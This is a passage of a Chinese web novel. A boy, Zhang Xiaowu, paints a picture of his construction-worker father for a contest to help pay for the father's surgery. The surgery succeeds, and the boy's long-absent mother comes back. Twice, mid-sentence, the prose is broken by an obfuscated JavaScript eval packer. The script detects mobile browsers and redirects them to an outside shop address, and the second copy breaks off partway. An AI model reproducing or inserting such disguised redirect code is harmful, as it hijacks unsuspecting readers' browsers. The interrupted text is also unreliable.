“张小五,你不能哭。你爸还等着你救他。” 然后他深吸一口气,推开卫生间的门,走了出去。 五月十八日,距离手术还有三天。 张小五放学后没有直接去医院,而是去了学校后面的那条街。那条街上有一家画廊,开在居民楼的一层,门口种着一棵石榴树,五月的石榴花开得正艳,红得像一团火。他在门口站了很久,犹豫着要不要进去。 画廊的玻璃门上贴着一张海报——“青少年绘画作品征集,优秀作品可参加联展,并有机会获得奖学金。”张小五是在学校的公告栏上看到这张海报的,李老师帮他复印了一份,他把那张纸折好放在口袋里,已经揣了好几天了。 他深吸一口气,推门进去。 画廊不大,墙上挂着各种画,油画、水彩、国画,什么都有。空气里飘着松节油和木框的气味,光线是暖黄色的,照在画上,让每一幅画都像在发光。前台坐着一个年轻的女人,长发披肩,穿着一件黑色的连衣裙,正在看电脑。 “你好,小朋友,有什么事吗?”她抬起头,微笑着看着张小五。 张小五走到前台,从口袋里掏出那张折得方方正正的海报,放在桌上。 “我想参加这个比赛。”他说,“但是我没有钱买颜料和画布。我想问一下,如果我入选了,奖学金是多少?” 女人愣了一下,拿起那张海报看了看,又看了看张小五。她上下打量了他一番,目光落在他洗得发白的校服和那双开裂的运动鞋上,眼神里闪过一丝了然。 “一等奖五千,二等奖三千,三等奖一千。”她说,“但是小朋友,这个比赛是面向全市中学生的,参赛的人很多,竞争很激烈。你没有老师推荐吗?” “有。”张小五说,“我的美术老师说可以帮我推荐。” 女人点了点头,从抽屉里拿出一张报名表递给他。“那你先填表吧,作品在月底之前交过来就行。” 张小五接过报名表,道了谢,转身走出画廊。站在门口,他把报名表展开看了看,上面密密麻麻的格子需要填个人信息、作品名称、创作说明。他把报名表折好,放进口袋里,和其他那些纸条放在一起。 五千块。如果他能拿到一等奖,就是五千块。加上手里现有的,离手术费又近了一步。 但是要参赛,就要画画。要画画,就要有颜料和画布。这些东西都要钱。他没有钱。 他在石榴树下站了很久,红色的花瓣飘下来,落在他的肩膀上,落在他手里的报名表上。他低头看着那些花瓣,鲜红的,薄薄的,像一小片一小片彩色的纸。 他忽然有了一个主意。 张小五跑回学校,冲进美术教室。 李老师还在,她正在整理画具,把颜料一支一支地放进盒子里,把画笔一支一支地洗干净。看到张小五气喘吁吁地跑进来,她放下手里的东西,擦了擦手。 “怎么了?跑这么急。” “李老师,我想参加那个比赛。”张小五把报名表和海报一起放在桌上,“一等奖五千块,我想试试。” 李老师看着那张海报,又看了看张小五,眉头微微皱了一下。“这个比赛我知道,水平很高,去年的获奖作品我都看过,确实不错。你的水平……可以试试,但要拿奖,你得画一幅像样的作品出来。” “我知道。”张小五说,“李老师,我想跟你借颜料和画布。等我拿到奖金,买了新的还给你。” 李老师看着他,看了好几秒钟,然后笑了。她从柜子里拿出一块绷好的画布,一盒油画颜料,一套画笔,放在桌上。 “不用还。”她说,“这些东西本来就是学校配给美术组的,你拿去用,算是我借你的。等你以后成了大画家,还我十倍就行。” 张小五看着桌上那些东西。画布是亚麻的,纹理清晰,绷得很紧,敲上去“咚咚”响。颜料是温莎牛顿的,二十四色,排列整齐,像一盒彩色的糖果。画笔是猪鬃的,大大小小,从零号到十二号,每一支都干干净净。 这些东西,他在文具店的橱窗里看过无数次,每次都是隔着玻璃远远地看,从来没有想过有一天它们会属于自己。 “李老师,谢谢你。”他的声音有点抖。 “别谢了,快画吧。”李老师拍了拍他的肩膀,“你爸还等着你呢。” 张小五把画布架在画架上,把颜料一支一支地挤在调色板上,红的、黄的、蓝的、绿的、白的、黑的,像一条彩色的毛毛虫。他拿起画笔,蘸了颜料,悬在画布上方,迟迟没有落下。 他不知道该画什么。比赛的题目是“希望”,这个题目太大了,大到无从下手。希望是什么?是一束光?是一扇窗?是一双手?还是一个模糊的、看不清楚的远方? 他闭上眼睛,想了想。 然后他睁开眼,开始画。 他画的是父亲的背影。 那个背影站在脚手架上,穿着蓝色的工装,戴着一顶黄色的安全帽。他的手里拿着一把瓦刀,正在砌一面墙。墙已经砌得很高了,高到快要碰到天空。天空很蓝,蓝得像一块巨大的画布,云朵很白,白得像棉花糖。 父亲的背影很小,小到在整幅画里只占一小块位置。但他的腰挺得很直,肩膀很宽,像一座山。一座被风吹雨打了太多年但还没有倒塌的山。 张小五画得很慢,慢到每一笔都要思考很久。他从来没有用过油画颜料,不知道该怎么调色,不知道该怎么控制笔触,不知道该怎么处理明暗和冷暖。他的手很生,颜料在画布上不听使唤,该厚的地方薄了,该薄的地方厚了,该亮的地方暗了,该暗的地方亮了。 但他没有停下来。他知道自己画得不好,甚至可以说很糟糕。但他必须画完。不是为了拿奖,不是为了那五千块钱,是为了父亲。是为了那个站在脚手架上、手里拿着瓦刀、背后是蓝天白云的男人。是为了把他留在画布上,留在时间里,留在某一个永远不会消失的地方。 他画到很晚,晚到窗外的天完全黑了,晚到整栋教学楼只剩他一个人。李老师走之前给他留了一盏灯,是画室专用的那种白光灯,光线很亮,照在画布上,把每一笔颜色都照得清清楚楚。 张小五退后几步,看着自己画了一晚上的作品。 画上的父亲站在脚手架上,背影很小,腰挺得很直。天空很蓝,云朵很白。墙砌得很高,高到快要碰到天空。 但他总觉得缺了什么。缺了那种让人看了之后心里一动的感觉。缺了那种“歪的才是活的”的生命力。缺了光。陈雨桐说的那种光,从他的画里消失很久了。 他把画笔放下,盯着那幅画看了很久,然后拿起手机,拍了一张照片,发给了李老师。 “李老师,我画完了。但我觉得不好。” 过了一会儿,李老师回了一条消息。 “不要急。画画不是一天的事。明天再来,我们一起改。” 张小五把画布从画架上取下来,小心翼翼地靠在墙边,用一块布盖好。他把颜料一支一支地装回盒子里,把画笔洗干净,把调色板上的颜料刮掉。他关了灯,锁了门,走出了教学楼。 校园里很安静,只有梧桐树的叶在夜风里沙沙作响。月亮很圆,挂在树梢上,像一个巨大的探照灯,把整个校园照得银白银白的。 张小五走在月光里,影子被拉得很长很长,像一个巨人。他看着自己的影子,忽然笑了。他不是巨人,他只是一个十三岁的、瘦小的、快要被生活压垮的男孩。但此刻,在月光里,他的影子是巨人。也许这就是希望——不是你真的有多强大,而是你看起来有多强大。只要你看起来像一座山,你就能成为一座山。 他走进住院部,上了三楼,推开306的门。 张建国还没有睡。他半靠在床上,手里拿着张小五的画本,正在看。看到张小五进来,他合上画本,放在枕头旁边。 “怎么这么晚?”他问。 “在学校画画。”张小五把书包放下,在床边坐下来,“参加一个比赛,一等奖有五千块。” 张建国看着他,沉默了一会儿。“小五,你不要太累了。爸的病……能治就治,不能治就算了。你不要为了爸把自己累垮了。” “能治。”张小五说,“一定能治。” 张建国没有再说话。他伸出手,握住张小五的手。那只粗糙的大手比以前更瘦了,骨节突出,掌心的茧还在,但肉少了很多,握起来像一把骨头。 张小五反握住父亲的手,用力地握了一下。 “爸,我给你画了一幅画。”他说,“画的是你在工地上干活的样子。等我画好了,就挂在家里,天天都能看见。” 张建国笑了。他笑起来的时候眼角的皱纹还是那么深,但那个笑容里有一种东西,是张小五很久没有见过的——那是希望。不是那种盲目的、天真的、不切实际的希望,而是一种踏实的、安静的、经历了无数磨难还没有熄灭的希望。像一盏油灯,灯油快干了,灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444009|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芯快烧完了,但那一点火苗还在,还在跳,还在亮。 “好。”他说,“爸等着。” 五月二十一日,手术的日子。 张小五天没亮就醒了。他躺在折叠椅上,睁着眼睛看着天花板,听着父亲平稳的呼吸声。窗外的天还是黑的,只有东方有一抹淡淡的鱼肚白,像是有人在巨大的黑幕布上划了一道浅浅的口子,光从那里漏了进来。 他轻手轻脚地爬起来,去卫生间洗漱,然后拿着保温桶去食堂打早饭。食堂还没开门,他站在门口等了半个小时,看着天一点一点地亮起来,看着太阳从楼房的缝隙里钻出来,把整条街染成金色。 他打了小米粥、馒头和煮鸡蛋,端着托盘回到病房。张建国已经醒了,正在护士的帮助下换上手术服。手术服是那种浅绿色的,又宽又大,穿在他身上显得他更瘦了,像一根竹竿套在麻袋里。 “爸,吃早饭。”张小五把小桌板架好,把粥和馒头摆上。 张建国看着那些食物,摇了摇头。“医生说了,手术前不能吃东西。” 张小五愣了一下,把粥碗端了回去。他自己也没有胃口,把那碗粥喝了几口就放下了,馒头装在口袋里,留着中午吃。 七点半,护士来推张建国去手术室。 手术室在五楼,走廊的尽头。护士推着病床走在前面,张小五跟在后面,手扶着床栏,一步都没有落下。走廊很长,灯光很亮,病床的轮子在地板上发出咕噜咕噜的声音,在空旷的走廊里回荡。 张建国躺在病床上,眼睛一直看着张小五。他的嘴唇动了一下,像想说什么,但最后什么也没说。他只是看着,用那双浑浊的、布满血丝的、但依然温暖的眼睛,看着他的儿子。 到了手术室门口,护士停下来。 “家属在外面等。” 张小五松开床栏,低下头,在父亲的额头上轻轻亲了一下。 “爸,我在外面等你。”他说,声音很稳,“你出来的时候,我保证画完那幅画。” 张建国点了点头,眼眶红了。护士推着病床进了手术室,那扇厚重的铁门缓缓关上,发出“咔嗒”一声响,像是什么东西被锁住了。 张小五站在门口,看着那扇紧闭的门。 铁门是灰色的,上面有一个小小的玻璃窗,但很高,他踮起脚尖也看不见里面。门的上方有一盏红灯,亮着,写着“手术中”三个字。 他在门外的长椅上坐下来,把书包放在脚边,把画本拿出来,翻开到新的一页。他想画画,但手一直在抖,铅笔在纸上画出的线条歪歪扭扭的,像一条受惊的蛇。 他放下铅笔,把画本合上,抱在怀里。 走廊里很安静,安静得能听见自己心跳的声音。咚,咚,咚,一下一下的,像有人在敲一面很远的鼓。 他开始等待。 时间过得很慢。每一秒都像被拉长了一百倍,每一分钟都像一个小时。他不停地看手机上的时间,数字却像是被钉住了一样,怎么都不肯跳。 九点。十点。十一点。 手术室的灯还亮着。 走廊里陆续来了很多人。李老师来了,周扬来了,陈雨桐来了,方老师来了,班主任刘老师来了。他们坐在张小五旁边,没有人说话,都在等。 十二点。灯灭了。 铁门打开,王医生走了出来。他穿着手术服,帽子和口罩还没摘,只露出一双眼睛。那双眼睛很疲惫,但里面有光。 “手术很成功。”他说,“肿瘤完整切除了,没有发现扩散。接下来就是术后恢复和辅助治疗。” 张小五站起来,双腿一软,差点摔倒。周扬一把扶住了他。 他的眼泪终于掉了下来,没有声音,只是不停地流,像是堵了很久的洪水找到了出口,哗哗地往外涌。他没有擦,就那样站着,任由眼泪淌了满脸。 “谢谢王医生。”他说,声音哽咽。 王医生摘下口罩,笑了。那个笑容很疲惫,但很真,真到张小五觉得那是他这辈子见过最好看的笑容之一。 “不用谢我,”王医生说,“谢你爸吧,他很坚强。” 手术后的张建国被推回了病房。他还在麻醉中,没有醒。脸上戴着氧气罩,身上连着各种管子,心电监护仪嘀嘀地响着,绿色的波形在屏幕上一跳一跳的。 张小五坐在床边,握着父亲的手。那只手很凉,但脉搏在跳,一下一下的,有力而平稳。 他把父亲的手贴在自己脸上,闭上眼睛。 窗外的阳光很好,照进病房,照在白色的床单上,照在心电监护仪的屏幕上,照在张小五的脸上。 走廊里,周扬、陈雨桐、李老师他们还没有走。他们站在门口,看着病房里那个瘦小的男孩握着父亲的手,阳光把他整个人都笼罩在一片金色的光里。 陈雨桐拿出手机,拍下了这一幕。 她没有告诉任何人。只是把这张照片保存在手机里,在照片下面打了一行字:“手术成功。阳光很好。” 那天晚上,张小五在折叠椅上画完了那幅画。 画上的父亲站在脚手架上,手里拿着瓦刀,背后的天空很蓝。他在父亲的脸上加了一点光,不是阳光,不是灯光,而是一种从内向外透出来的、温暖的、柔和的光。 他把画拿给还没有完全清醒的父亲看。 张建国半睁着眼睛,看着那幅画,嘴角微微弯了一下。 “好看。”他说,声音很轻很轻,轻得像一片羽毛落在雪地上。 张小五把那幅画靠在床头柜上,让父亲一睁眼就能看见。 然后他躺回折叠椅上,闭上眼睛。 这一次他没有做梦。或者说,他做了一个很长很长的梦,但醒来的时候什么都不记得了。 只记得梦里有一束光,很亮很亮,照在他身上,暖洋洋的,像冬天的太阳。 14. 康复 张建国手术后的第三天,终于能从床上坐起来了。 这是一个缓慢而艰难的过程。他先是在护士的帮助下把床摇起来,从平躺变成半靠,半靠了十几分钟,脸色就开始发白,额头上冒出细密的汗珠。张小五端着一杯温水站在旁边,看着他爸像一棵被风吹倒的树,一点一点地重新站起来。 “爸,不急,慢慢来。”张小五说。 张建国咬着牙,双手撑着床面,把身体又往上撑了一点。他的手臂在发抖,青筋从手背一直暴到小臂,像一条条蓝色的蚯蚓。手术后他的体重又掉了好几斤,整个人轻得像一把干柴,但就是这把干柴,还在拼命地往上撑。 “行了,别动了。”护士走过来,按住他的肩膀,把床的角度固定好,“今天先这样,明天再高一点。恢复要一步一步来,急不得。” 张建国靠在床上,大口大口地喘气。氧气还戴着,透明的管子绕在耳朵上,鼻塞塞在鼻孔里,随着他的呼吸发出细微的嘶嘶声。他的眼睛半闭着,嘴唇干裂,脸色灰白,但嘴角有一点微微的弧度——他在笑。 张小五把水杯递过去,张建国摇摇头,表示不想喝。张小五把水杯放在床头柜上,拿起一条湿毛巾,给父亲擦了擦额头上的汗。 “爸,你感觉怎么样?” “还行。”张建国的声音沙哑得像砂纸,“就是胸口有点疼。” “那是伤口在长,王医生说了,正常的。” 张建国“嗯”了一声,不再说话。他的目光落在床头柜上那幅画上——张小五画的那幅《希望》。画上的他站在脚手架上,手里拿着瓦刀,背后的天空很蓝。他已经看了无数遍了,但每次看,眼睛里的光都不一样。有时候是欣慰,有时候是心酸,有时候是一种说不清道不明的东西,像是后悔,又像是不舍。 张小五顺着父亲的目光看过去,看到那幅画,心里忽然有点发紧。他知道父亲在看什么——不是在看画得好不好,是在看那个站在脚手架上的自己。那个健康的、强壮的、还能扛水泥搬砖的自己。那个已经回不去的自己。 “爸,等你好了,我重新给你画一幅。”张小五说,“画你站在地上,不站那么高。” 张建国转过头看着他,嘴角的弧度大了一点。 “站地上好,”他说,“爸有点恐高。” 张小五笑了。这是他这么多天以来第一次真正地笑,不是礼貌性的微笑,不是为了让父亲安心的强颜欢笑,而是被逗乐了之后自然而然的笑。他笑起来的时候眼睛弯弯的,像两个小月牙,露出一排不太整齐的牙齿。那一瞬间,他又变回了一个十三岁的少年,而不是一个被生活压得喘不过气来的小大人。 日子一天一天地过,张建国的身体一天一天地好起来。 虽然很慢,慢到几乎看不出变化,但张小五能感觉到。父亲说话的声音大了一点,咳嗽的次数少了一点,每顿饭能多吃两口了,下地走路能从一分钟撑到三分钟了。这些微小的变化,像春天里悄悄融化的冰,你不盯着看就发现不了,但过一段时间再看,河已经开了,花已经结了骨朵。 张小五的生活也慢慢恢复了正常的节奏。 每天早上他五点半起床,先去医院,给父亲送早饭,陪他做康复训练,帮他擦身、换衣服。八点之前赶到学校上课,课间找方老师补数学,中午在教室吃几口面包或者馒头,下午放学后再去医院,陪父亲吃晚饭,写作业,画画,晚上九点多回姑姑家睡觉。 姑姑是父亲的姐姐,住在离医院不远的一个小区里。张小五以前很少跟她来往,父亲生病之后,姑姑主动打电话过来,让他住在自己家,说医院里睡折叠椅对腰不好,小孩还在长身体,不能这么糟蹋。张小五本来不想去,但姑姑坚持,父亲也劝,他就去了。 姑姑家不大,两室一厅,客厅里摆着一个大鱼缸,养着几条红色的锦鲤。张小五每天晚上回去的时候,姑姑都会给他留一碗汤,有时候是排骨汤,有时候是鸡汤,有时候是鱼汤,碗上面盖着保鲜膜,旁边放着一碗米饭和一小碟咸菜。他把汤热了喝,喝完再睡,肚子里暖洋洋的,像是有一团火在烧。 “姑,你不用每天给我留汤,我在学校吃了。”张小五有一次说。 姑姑瞪了他一眼:“学校那点东西能吃饱?你看你瘦的,风一吹就倒。多吃点,你爸还指着你呢。” 张小五就不再说了。他知道姑姑是好意,也知道自己确实需要多吃点。他已经瘦得皮包骨了,校服挂在身上空荡荡的,裤腰大了好几圈,要用皮带勒紧了才不会掉。周扬有一次开玩笑说他是“行走的衣架”,说完就后悔了,因为张小五确实像衣架——衣服下面只有骨架,没有肉。 六月初的一个周末,张小五去医院的时候,发现病房里多了一个人。 那是一个四十多岁的女人,短发,微胖,穿着一件碎花裙子,手里提着一个大袋子。她坐在张建国的床边,正在削苹果,动作很熟练,苹果皮一圈一圈地垂下来,长长的一条,没有断。 张小五站在门口,愣了一下。 “小五,来了?”张建国朝他招招手,“过来,这是你王阿姨,你李叔的爱人。” 张小五走过去,叫了一声“王阿姨”。王阿姨抬起头看着他,上下打量了一番,眼睛里忽然涌出了泪花。她放下水果刀和苹果,站起来,双手捧着张小五的脸,左看右看。 “哎呀,这孩子,怎么瘦成这样了?”她的声音很大,带着浓重的方言口音,“老张,你看看你儿子,都瘦成啥样了!你得快点好起来,不能再让孩子遭罪了。” 张建国躺在床上,看着张小五,嘴唇哆嗦了一下,没有说出话来。 王阿姨从袋子里拿出一个保温桶,打开盖子,里面是红烧肉,红亮亮的,肥瘦相间,香味一下子就窜满了整个病房。她又拿出一个饭盒,里面是清炒西兰花,还有一个饭盒,里面是米饭,压得实实的,倒扣过来就是一个完美的半圆形。 “小五,你先吃,阿姨跟你爸说会儿话。”王阿姨把饭菜摆在张小五面前,又把削好的苹果切成小块,插上牙签,放在张建国床头。 张小五看着那些饭菜,喉咙发紧。他已经很久没有吃过红烧肉了。医院的食堂便宜,但没什么油水,他每天吃的不是馒头就是稀饭,偶尔加一个鸡蛋就觉得是过节了。这碗红烧肉红亮亮的,肥肉晶莹剔透,瘦肉丝丝分明,光是看着就让人流口水。 他拿起筷子,夹了一块放进嘴里。肥肉入口即化,瘦肉软烂入味,咸甜适中,好吃得他想哭。他低下头,大口大口地扒饭,把红烧肉的汤汁拌进米饭里,一粒米都不剩。 王阿姨看着他吃,眼泪终于掉了下来。她用手背擦了擦,转过脸去,假装看窗外的风景。 “老张,”她说,声音有点抖,“这孩子太懂事了,懂事的让人心疼。” 张建国没有说话,只是闭上了眼睛。他的眼角有泪,顺着太阳穴流下来,流进耳朵里。 那天下午,王阿姨走了之后,张小五坐在父亲床边,手里拿着画本,画画停停。 他画的是王阿姨削苹果的样子。她的手指很粗,指甲剪得很短,但动作很灵巧,苹果皮一圈一圈地垂下来,长长的,没有断。他把那根苹果皮画得很仔细,每一圈的弧度都不同,有的圆润,有的扁平,像一条弯弯曲曲的小路。 “小五。”张建国忽然开口。 “嗯。” “爸想跟你说个事。” 张小五抬起头,看着父亲。张建国的表情很认真,认真到有点严肃,像是要宣布什么重大的决定。 “爸想去找你妈。”他说。 张小五的手停了一下,铅笔在纸上留下一个小小的黑点。 “找她干什么?”他问。 “爸想跟她说声谢谢。”张建国说,“那三千块钱,虽然爸当时说不想要,但后来想想,要不是那三千块,爸可能连医院的门都进不了。你妈……她不容易,爸欠她一句谢谢。” 张小五沉默了一会儿,放下铅笔,合上画本。 “爸,你不用去找她。”他说,“我给她打过电话了,她说她月底来看你。” 张建国愣了一下,脸上的表情很复杂——有惊讶,有不安,有一种张小五从未见过的紧张。他把手伸进被子底下,攥住了床单,指节发白。 “她要来?”他的声音有点变调。 “嗯。”张小五说,“她说她请了假,坐火车过来。” 张建国没有再说话。他侧过脸,看着窗外,窗外是一片灰蒙蒙的天,几朵云慢吞吞地飘着,像几只懒洋洋的绵羊。他看了很久,久到张小五以为他睡着了。 “爸,你不想见她?”张小五问。 张建国沉默了很久,才开口。 “不是不想见。”他说,声音很轻,“是不知道见了该说什么。” 张小五理解父亲的心情。八年了,整整八年,母亲走了之后再也没有回来过。这八年里,父亲一个人把他拉扯大,一个人扛着这个家,一个人在深夜里喝闷酒,一个人在工地上流汗流血。他心里对母亲有怨恨,有埋怨,有不甘,有委屈。但听到母亲病了、穷了、一个人在城里打工的消息,他心里又疼了。 人就是这样。爱和恨从来不是反义词,它们常常长在同一根藤上,你分不清哪一个是花,哪一个是刺。 六月的最后一个周末,王秀兰来了。 张小五在医院门口接的她。她穿着一件洗得发白的格子衬衫,下面是一条黑色的裤子,脚上是一双平底布鞋。头发剪短了,露出耳朵和脖子,显得整个人利落了不少。但脸上的疲惫藏不住,眼袋很重,嘴角的法令纹像两道浅浅的沟壑,皮肤粗糙,颧骨上有两坨被太阳晒出来的红。 她手里提着一个大编织袋,鼓鼓囊囊的,不知道装了什么。看见张小五,她的眼睛一下子就亮了,扔下编织袋跑过来,一把抱住他。 “小五,小五,小五……”她一遍一遍地叫着他的名字,把他紧紧地搂在怀里,像是怕一松手他就会消失。她的身体在发抖,眼泪掉在张小五的头发上,一滴一滴的,温热的。 张小五被抱得喘不过气来,但他没有挣扎。他把脸埋在母亲的肩窝里,闻到了她身上的味道——洗衣粉、汗水、还有一点点火车上的烟味。这个味道他太熟悉了,熟悉到像是刻进了骨头里。他以为他已经忘记了,但当他再次闻到的时候,那些被压在记忆最底层的东西全都翻涌了上来——母亲给他洗衣服的样子,母亲在厨房里炒菜的样子,母亲蹲下来给他系鞋带的样子,母亲拖着红色行李箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王秀兰深吸一口气,迈出了电梯。走廊很长,惨白的灯光照在光洁的地板上,反射出一片冷光。她跟在张小五后面,一步一步地走着,脚步很轻,轻得像怕踩到什么不该踩的东西。 306。 张小五推开门,先走了进去。 “爸,我妈来了。” 他侧过身,让出门口的位置。 王秀兰站在门口,手里提着那个大编织袋,看着病床上的张建国。 张建国半靠在床上,穿着一件干净的病号服,头发梳过了,胡子刮过了,脸上还带着刚洗过脸的水汽。他看起来比前几天精神了一些,但还是很瘦,瘦得颧骨高耸,眼窝深陷,像一幅被时间磨损的旧画。 两个人对视着,谁都没有说话。 走廊里有人在走动,护士站有人在打电话,隔壁病房有人在按呼叫铃。这些声音从门缝里挤进来,在这个小小的病房里回荡,像是一首没有旋律的背景音乐。 王秀兰先开了口。 “建国。”她叫了一声,声音很轻,轻得像是怕惊动什么。 张建国的嘴唇哆嗦了一下,喉结上下动了动。 “秀兰。”他说。 然后两个人又沉默了。但这沉默和刚才不一样了。刚才的沉默是陌生的、疏离的、隔着千山万水的;现在的沉默是熟悉的、温暖的、像一条河终于流回了原来的河道。 王秀兰把编织袋放在地上,走到床边,在椅子上坐下来。她把编织袋的拉链拉开,从里面一样一样地往外拿东西——一瓶蜂蜜,一袋红枣,一盒枸杞,一件深蓝色的毛衣,一条灰色的围巾,一双棉拖鞋,还有一袋自家晒的红薯干。 “蜂蜜是土蜂蜜,我找村里人买的,你术后身体虚,喝蜂蜜水好。”她一样一样地摆,像是在布置一个展览,“红枣补血,枸杞明目,你泡水喝。毛衣是我织的,不知道合不合身,你试试,不行我再改。围巾是买的,冬天戴,医院空调冷。拖鞋你下床的时候穿,地板凉,别光脚……” 张建国看着她,看着她的手在床头柜上一件一件地摆放那些东西。那只手比以前老了很多,皮肤松弛,青筋暴起,指甲剪得很短,指尖有裂口。他记得这双手,很多年前,这双手给他织过一件毛衣,灰色的,高领的,他穿了好几年,袖口都磨破了还舍不得扔。 “秀兰。”他打断了她。 王秀兰的手停了一下,抬起头看着他。 “你瘦了。”张建国说。 王秀兰的眼泪一下子就涌了上来。她咬着嘴唇,拼命忍着,但眼泪根本不听她的话,顺着脸颊淌下来,滴在那件深蓝色的毛衣上。 “你也瘦了。”她说,声音断断续续的,“瘦了好多。” 张小五站在门口,看着父亲和母亲,忽然觉得自己是多余的。他悄悄地退了出去,轻轻带上门,靠在走廊的墙上。 他从口袋里掏出画本,翻到新的一页,拿起铅笔。他的手在抖,不是因为害怕,是因为激动。他深呼吸了几次,等手稳下来,然后开始画。 他画的是病房的门。一扇半掩的门,门缝里透出灯光,隐约能看见两个人影,一个坐在床边,一个半靠在床上。他们的影子被灯光拉得很长,投在对面的墙上,靠得很近,近到像是从来没有分开过。 画完之后,他在纸的右下角写了一行字。 “我妈来了。我爸哭了。我也哭了。但我们都是笑着哭的。” 他把画本合上,抱在怀里,仰起头看着天花板。天花板上有一盏日光灯,亮得刺眼,他看着那团白光,眼泪无声地滑了下来。 他没有擦。 就让它们流吧。 流完了,就不疼了。 15. 重聚 王秀兰在病房里待了整整一个下午。 张小五没有进去打扰他们。他坐在走廊的塑料椅子上,画本摊在膝盖上,画走廊里来来往往的人。他画了一个推着输液架散步的老头,输液架的铁杆上挂着两个吊瓶,一晃一晃的,像两盏摇摆的灯。他画了一个抱着新生儿来回踱步的年轻父亲,那父亲脸上的表情又紧张又幸福,嘴角的笑藏都藏不住。他画了一个坐在轮椅上晒太阳的老太太,膝盖上盖着一条毛毯,毛毯上绣着一朵红色的牡丹花。 他画了很久,画到手指发酸,画到阳光从走廊这头移到那头,画到肚子饿得咕咕叫。但他没有去吃饭,也没有去敲门。他知道父亲和母亲需要时间,八年没见了,有太多的话要说,有太多的结要解。那些话他不需要听,那些结也不需要他在场才能解开。 下午五点多的时候,病房的门终于开了。 王秀兰走出来,眼睛红肿,鼻头红红的,但脸上的表情比来时轻松了很多。她看见张小五坐在走廊里,愣了一下,然后走过来,在他旁边坐下。 “你怎么不进来?”她问。 “你们说话,我不打扰。”张小五说。 王秀兰伸出手,揽住儿子的肩膀,把他往自己这边拉了拉。张小五靠过去,脑袋搁在母亲的肩膀上。母亲的肩膀不宽,甚至有点窄,但很暖和,有一种让他安心的温度。 “你爸跟我说了很多。”王秀兰说,声音很轻,“说你画画得了奖,说你每天给他煮面,说他受伤的时候你喂他吃饭。他说你长大了,懂事了,比他强。” 张小五没有说话,只是把脸埋进母亲的肩窝里,闻着她身上的味道。洗衣粉、汗水、还有一点点医院特有的消毒水味。这些味道混在一起,不好闻,但让他觉得踏实。 “小五,妈对不起你。”王秀兰的声音开始发抖,“妈走了这么多年,没管过你,没给你寄过钱,没给你打过几个电话。妈不是一个好妈妈。” 张小五从母亲肩膀上抬起头,看着她的脸。那张脸上有泪痕,有愧疚,有一种深深的、无法弥补的遗憾。他看着那双布满血丝的眼睛,忽然觉得母亲其实也很可怜。她不是不爱他,她是没有能力爱他。她连自己都养不活,拿什么来爱他? “妈,你别说了。”张小五说,“我不怪你。” 王秀兰的眼泪又掉了下来。她用手背擦了一下,又擦了一下,然后用力地把张小五抱进怀里,抱得很紧很紧,紧到张小五的骨头都在嘎吱作响。 “妈这次请了一个星期的假。”她说,“这一个星期,妈天天来医院照顾你爸。你好好回学校上课,好好吃饭,好好睡觉。你看看你,瘦成什么样了。” 张小五点了点头,没有说自己其实每天都有吃饭,只是吃不下太多。他的胃好像变小了,以前能吃两大碗米饭,现在一碗就撑得慌。也许不是胃变小了,是心里装的事情太多了,装满了,就没有空间留给食物了。 那天晚上,张小五回到姑姑家,洗了个热水澡,换了一身干净衣服,躺在床上。 他已经很久没有这样舒舒服服地躺过了。姑姑家的床很软,被子很厚,枕头有一股薰衣草的味道。他躺在上面,觉得自己像是浮在云朵上,轻飘飘的,一点重量都没有。 他拿出画本,翻到今天画的那几页——走廊里的老头,抱着婴儿的父亲,晒太阳的老太太,还有那扇半掩的病房门。他一页一页地看过去,每一幅画都像一张照片,记录着他在这个走廊里度过的那些漫长的、孤独的、充满不安的时光。 他翻到最后一页,空白。他想了想,在上面画了一个圆。不是月亮,不是太阳,是一个家庭的形状——三个人,靠得很近,近到影子都重叠在了一起。 他把画本合上,放在枕头旁边,关了灯。 黑暗中,他听见姑姑在客厅里打电话,声音压得很低,但他还是听见了几个词——“小五”“他爸”“他妈”“回来了”。他没有去听更多,翻了个身,把被子拉到下巴,闭上了眼睛。 这一夜他睡得很沉,没有做梦。 第二天早上,张小五去医院的时候,发现病房里的气氛变了。 不是那种尴尬的、小心翼翼的变,而是一种自然的、松弛的变。王秀兰坐在床边,正在给张建国擦手。她用一条湿毛巾,一根手指一根手指地擦,擦得很仔细,连指甲缝都不放过。张建国半靠在床上,眼睛半闭着,脸上的表情很放松,像是在享受一件很久没有享受过的事情。 “小五来了?”王秀兰抬起头,朝他笑了笑,“吃早饭了吗?” “吃了。”张小五说,“姑姑煮的粥。” 他把书包放在椅子上,走到床边,看了看父亲。张建国的脸色比昨天好了一点,嘴唇不再那么干裂了,眼睛也有了一点神采。他看见张小五,嘴角弯了一下,算是笑了。 “你妈给我擦手呢。”他说,语气里带着一点不好意思,又带着一点得意,“擦得可干净了。” 张小五笑了。他很少看到父亲这样,像一个被照顾的孩子,有点笨拙,有点不习惯,但心里是欢喜的。 王秀兰瞪了张建国一眼,把毛巾放进水盆里,端起盆子去卫生间倒水。张小五跟了过去,站在卫生间门口。 “妈,你今天还待医院?” “待。”王秀兰把水盆放好,擦了擦手,“我跟你爸说了,这一个星期我哪儿也不去,就在医院陪他。” “那你晚上睡哪儿?” 王秀兰指了指病房里的那把折叠椅:“就睡那个。你之前不也睡那个吗?你能睡,妈也能睡。” 张小五想说什么,但看到母亲脸上那种不容置疑的表情,把到了嘴边的话咽了回去。他知道母亲这是在弥补,弥补那些年没有尽到的责任。八年的亏欠,一个星期怎么够?但哪怕只有一个星期,她也想尽力去做。 王秀兰在医院待了一个星期。 这一个星期里,张小五过上了生病以来最轻松的日子。早上不用早起去医院了,因为母亲会去。中午不用啃面包了,因为母亲会给他送饭。晚上不用陪床了,因为母亲睡在折叠椅上。他只需要好好上学,好好写作业,好好画画。 